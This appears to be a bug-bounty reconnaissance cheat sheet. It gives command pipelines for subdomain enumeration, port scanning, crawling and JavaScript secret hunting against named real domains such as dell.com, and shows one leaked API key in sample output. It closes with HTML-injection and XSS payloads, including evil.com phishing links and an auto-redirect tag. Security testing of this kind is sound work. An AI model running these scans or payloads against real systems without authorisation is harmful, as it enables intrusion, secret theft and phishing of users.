Subdomains Enumeration :
For Google Dorking use the below website:
<https://dorks.krazeplanet.com/> (can find subdomains and all)
#subdog:
subdog -d dell.com > subdomain.txt
echo "footlocker.com" | subdog > subdomain.txt
subfinder -d [target.com](<http://target.com/>) -all -recursive -silent > subs1.txt
amass enum -passive -d [target.com](<http://target.com/>) -o subs2.txt
#Merge:
cat subs*.txt | unew -el -i subs.txt
#Subdomain Validation:
cat subdomains | httpx -duc -silent -nc -sc -title -td -cl -ct | sort -t'[' -k3,3nr | unew -el -i live.txt
## Live validation (optimized for scale)
For 10K subs:
cat subs.txt | httpx-silent-threads200-status-code-title-tech-detect-o live.txt
Add important flags:
- `threads 200` → speed for large datasets
- `tech-detect` → filter valuable stacks
- `status-code` → triage
- `title` → quick visual classification
#Port Scanning: Nmapscan
# Use with other tools
cat subs.txt | nmapscan | unew results.txt
# Specific ports (can combine with --exclude-ports)
cat subs.txt | nmapscan -p 80,443 # specific ports only
cat subs.txt | nmapscan -p 80-1000 # port range
cat subs.txt | nmapscan --full-ports -e 80,443 # all ports except 80,443
Target → Surface Expansion → Smart Fuzzing → Deep Analysis → Exploitation
#Active Crawling:katana
## Single URL:
echo "<https://www.dell.com>" | katana -duc -silent -nc -jc -concurrency 10 -parallelism 10 -depth 7 -timeout 30 -aff | unew urls.urls
## Multiple URLs:
cat httpx.txt | katana -duc -silent -nc -jc -concurrency 10 -parallelism 10 -depth 7 -timeout 30 -aff | unew urls.urls
#Passive Crawling:Waymore
## Important note, you don't need to give subs.txt file this takes as wildcard:
echo "dell.com" | waymore -mode U -lr 3 -lcc 3 -f --stream | unew urls.txt
# cat httpx.txt
<https://admin.dell.com>
<https://ajhgfj.dell.com>
## Run this if main domain is not in inscope
cat httpx.txt | sed -e 's/https\?:\/\/\(www\.\)\?//' -e 's/:.*$//' | waymore -mode U -lr 3 -lcc 3 -f --stream | unew urls.txt
JS Analysis:
#secyra:
## Scan single URL
echo "<https://assets.adobedtm.com/launch-EN2e353a6bcf6449339e47775da0327ac7.min.js>" | secyra
## Scan multiple URLs from file
cat jslinks.txt | secyra
## Full pipeline: subdog -> jscrawler -> secyra
echo "dell.com" | httpx -duc -silent | subdog --silent | jscrawler --silent --complete | secyra
#jsluice
## Scan single URL
echo "<https://assets.adobedtm.com/launch-EN2e353a6bcf6449339e47775da0327ac7.min.js>" | jsluice urls | jq -r '.url' | unew | secyra
## Scan multiple URLs from file
cat jslinks.txt | httpx -duc -silent | jsluice urls | jq -r '.url' | unew | secyra
## Full pipeline: subdog -> jscrawler -> jsluice -> secyra
echo "dell.com" | subdog --silent | httpx -duc -silent | jscrawler --silent --complete | jsluice urls | jq -r '.url' | unew | secyra
## Output:
[FOUND] <https://auth.magiceden.io/main.d2be63baf33318ca.js> [Infura] [3a961d6501e54add9a41aa53f15de9]
- Inject → `<h1>Hacked</h1>` → check if rendered in page
- Test email/name fields → `<b>test</b>` → if bold appears, HTML exist
- Inject `<a href="<https://evil.com>">Click here</a>` in profile/bio fields → phishing via app
- Try `<iframe src="<https://evil.com>">` in any user-controlled field
- Check error messages that reflect input → `?name=<marquee>test</marquee>` → if it scrolls, injectable
- Inject `<meta http-equiv="refresh" content="0;url=https://evil.com">` → auto redirect victim
- Test HTML in password reset emails → if input reflects in email body, can inject fake content
- Inject <script>alert(1)</script> in URL params and check if it renders
- Test search/error fields that reflect input back → `<img src=x onerror=alert(1)>`
- Test HTTP headers like Referer/User-Agent that get reflected in response
- Submit `<svg onload=alert(1)>` in bio/comment/post fields that get saved
- Try HTML tags in rich text editors to bypass XSS blocked tags
- Check if URL `#fragment` is written to DOM without encoding → `page.html#<img onerror=alert(1)>`
- Look for JS reading `location.search` and writing to `innerHTML`
- Audit JS for dangerous sinks: `innerHTML`, `document.write`, `eval`